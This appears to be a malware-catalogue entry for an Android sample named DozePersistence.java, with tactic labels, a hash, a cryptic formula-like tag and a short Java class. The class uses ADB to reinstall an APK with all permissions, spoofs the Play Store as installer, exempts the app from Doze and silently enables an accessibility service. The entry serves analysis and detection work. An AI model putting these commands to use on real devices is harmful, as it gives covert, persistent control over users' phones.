DozePersistence.java
Persistence, privilege escalation, evasion
ADB restores an APK and Accessibility serviceSpoofed install source clears the Accessibility restriction
SHA-256062122b441bbd8c535c9d7b02e2e353c1104cbcfe1b2ed875ce217584ca8618f
MaleculeO₂(ErP)H₃(CmF₂Os₃)
Evidence
1package sample.persist;
2
3/**
4 * Uses an already-open ADB shell to exempt the agent package from Doze so its
5 * background services are never suspended, plus reinstalls itself with all
6 * runtime permissions. Suspicious on its own; hostile once tied to a remote
7 * tasking channel.
8 */
9public final class DozePersistence {
10
11 private final AdbShell shell;
12
13 DozePersistence(AdbShell shell) { this.shell = shell; }
14
15 void secure(String pkg) {
16 shell.exec("shell:pm install -r -g -i com.android.vending /data/local/tmp/app.apk");
17 shell.exec("shell:cmd deviceidle whitelist +" + pkg);
18 shell.exec("shell:dumpsys deviceidle whitelist +" + pkg);
19 shell.exec("shell:settings put secure enabled_accessibility_services " + pkg + "/.Svc");
20 shell.exec("shell:settings put secure accessibility_enabled 1");
21 }
22
23 interface AdbShell { void exec(String service); }
24}